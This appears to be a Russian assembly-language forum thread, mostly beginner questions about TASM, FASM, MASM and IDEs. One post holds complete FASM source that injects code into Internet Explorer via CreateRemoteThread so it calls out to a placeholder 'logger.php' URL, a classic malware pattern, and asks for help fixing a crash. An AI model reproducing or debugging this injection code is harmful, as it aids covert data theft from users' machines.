Нужно разделить два числа, как этот код деления будет выглядеть на asm'е? (возможно будет остаток) В интернете: одни обрывки
InternetOpen в коде IE пытаюсь создать подключение из IE инжектирую туда код, а в результате крах Code: remote_thread: call .delta .delta: pop ebp sub ebp,.delta xor esi,esi lea eax,[ebp+_wininet] push eax call [ebp+pLoadLibrary] push esi push 0 push 0 push 0 push 0 lea eax,[ebp+_agent] push eax lea eax,[ebp+_fileURL] push eax push esi call [pInternetOpen] ret полный текст Code: format PE GUI 4.0 entry start include 'win32a.inc' struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile rb 260 ends TH32CS_SNAPPROCESS =2 section '.code' code readable writeable executable target_name db 'iexplore.exe',0 ;...............[INJECT CODE]..................; remote_thread: call .delta .delta: pop ebp sub ebp,.delta xor esi,esi lea eax,[ebp+_wininet] push eax call [ebp+pLoadLibrary] push esi push 0 push 0 push 0 push 0 lea eax,[ebp+_agent] push eax lea eax,[ebp+_fileURL] push eax push esi call [pInternetOpen] ret .data: pMessageBox dd 0 pLoadLibrary dd 0 pInternetOpen dd 0 pInternetOpenUrl dd 0 pInternetCloseHandle dd 0 _wininet db 'WININET.DLL',0 _agent db 'load',0 _fileURL db 'http://site.com/logger.php',0 hSession dd ? thread_end: ;...............[END INJECT CODE]..............; p_ent PROCESSENTRY32,sizeof.PROCESSENTRY32,? find_target: xor esi,esi .shot: invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi inc eax je .not_found dec eax xchg eax,edi mov [p_ent.dwSize],sizeof.PROCESSENTRY32 invoke Process32First,edi,p_ent .next_prc: xchg eax,ecx jecxz .not_found invoke lstrcmpi,p_ent.szExeFile,target_name xchg eax,ecx jecxz .found invoke Process32Next,edi,p_ent jmp .next_prc .found: invoke CloseHandle,edi mov eax,[p_ent.th32ProcessID] ret .not_found: xor eax,eax ret inject_code: xor esi,esi invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax xchg eax,ecx jecxz .exit xchg ecx,edi invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE xchg eax,ecx jecxz .close_h xchg ecx,ebp invoke WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi dec eax test eax,eax jnz .close_h inc eax invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi .close_h: invoke CloseHandle,edi .exit: ret get_apis: mov edi,[LoadLibrary] mov [pLoadLibrary],edi mov edi, [InternetOpenA] mov [pInternetOpen], edi mov edi, [InternetOpenUrlA] mov [pInternetOpenUrl], edi mov edi, [InternetCloseHandle] mov [pInternetCloseHandle], edi ret start: call find_target test eax,eax je .exit call get_apis call inject_code .exit: push 0 call [ExitProcess] section '.idata' data import readable library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL',\ wininet, 'WININET.DLL' include 'api\kernel32.inc' include 'api\user32.inc' include 'api\wininet.inc'
вставляешь int 3 в начало инжектнутого кода и как сработает начнёшь отладку своим любимым дебагером, там уже будет видно что не так.
как обычно компилю тасмом com программу --------------------код------------------------ cseg segment assume cs:cseg, ds:cseg,es:cseg,ss:cseg org 100h start: mov ax, 0b800h mov es,ax mov di, 0 mov ah,31 mov al, 1 mov es:[di], ax mov ax, 10h int 16h int 20h cseg ends end start --------------------код------------------------ tasm program.asm tlink program.obj/t/x все ок(тасм ошибок никаких не выдает) , запускаю из командной строчки и программа виснет(ОС не виснет) , смайлик не выводится.... хотя раньше выводился. В чем может быть проблема?
Code: CSEG segment assume cs:cseg, ds:cseg,es:cseg,ss:cseg org 100h start: mov ax,0B800h mov es,ax mov di,0 mov ah,31 mov al,1 mov es:[di],ax mov [color=red][b]ah[/b][/color],10h int 16h int 20h CSEG ends end start
Люди добрые! Подскажите,пожалуйста,какая среда подойдёт для программирования на асм под вистой x32/x64 ? Спасибо.
WinAsm. Весьма удобно. Можно прикрутить как фасм так и масм/тасм. Так же есть RadAsm. Тоже удобная среда разработки.
Спасибо всем! Скачал WinAsm,а вот рус описаний к нему не найти : ( - ток на англ.Да и учебников тоже не видать чет,или любой подойдёт?
WinAsm -- это среда разработки а не язык программирования. Для новичка отлично подойдет http://kalashnikoff.ru/ (рассылка) + http://flatassembler.net/docs.php Пользоваться примерно так: Берешь пример из Калашникова и переписываешь его на фасм. Ну лил можешь учить масм( дело твое ). P.S.: WinAsm использую под XP.
Нет чувак. Это новичку не подойдет. Там в основном примери использования АПИ ф-й и все. Из мануала "Крэкинг с нуля, использование OllyDBG..." можно больше узнать чем из этого тутора. Его нужно читать когда ты уже знаком с инструкциями, регистрами и т п.
я так понел что тс хочет учить или ужо писать своё если до,то товарищь Ins3t прав,начинай с Калашникова.
да я в винасм ща пытаюсь пробовать(WinAsm).Постоянно возникает эта ошибка выполнения: Code: ;======================================================================= format PE GUI 4.0 ;======================================================================= include 'win32a.inc' ;* include 'rc.inc' ;* ;======================================================================= section '.code' code readable executable entry $ invoke GetModuleHandle,0 mov [hInstance],eax invoke DialogBoxParam,eax,D_MAIN,0,dlg_proc,0 invoke ExitProcess,0 ;======================================================================= proc dlg_proc, hWnd, uMsg, wParam, lParam cmp [uMsg],WM_CLOSE jne @F .end_dlg: invoke EndDialog,[hWnd],0 .exit_true: mov eax,TRUE ret @@: ;----------------------------------------------------------------------- ; cmp [uMsg],WM_INITDIALOG ; jne @F ; ; jmp .exit_true ;@@: ;----------------------------------------------------------------------- ; cmp [uMsg],?? << add new message ; jne @F ; ; jmp .exit_true ;@@: ;----------------------------------------------------------------------- cmp [uMsg],WM_COMMAND jne .exit_false cmp [wParam],B_CAN je .end_dlg ;----------------------------------------------------------------------- cmp [wParam],B_OK jne @F ;------------------------------------------------------------------- ; TODO: Place your code here to be executed when OK pressed ;------------------------------------------------------------------- jmp .exit_true @@: ;----------------------------------------------------------------------- ; cmp [wParam],?? ; << add new command ; jne @F ; jmp .exit_true ;@@: ;----------------------------------------------------------------------- .exit_false: xor eax,eax ret endp ;======================================================================= ;======================================================================= include 'idata.inc' include 'data.inc' ;======================================================================= section '.rsrc' resource data readable ;----------------------------------------------------------------------- directory RT_DIALOG,dialogs ;----------------------------------------------------------------------- include "dialogs.tab" ;* ;----------------------------------------------------------------------- include "dialogs.dat" ;* ;======================================================================= Code: .386 .model flat.stdcall .code start: mov eax,2 add eax,3 ret end start вот так ( даже просто команду мув заюзать не выходит. Мой код начинается с 386 (код с учебника)
Ну так ты скачал версию WinAsm для фасма, а пишешь на масме Качай это: http://www.winasm.net/winasm-studio-full-package.html -- Или же качай хэлп по фасму и пиши на фасме.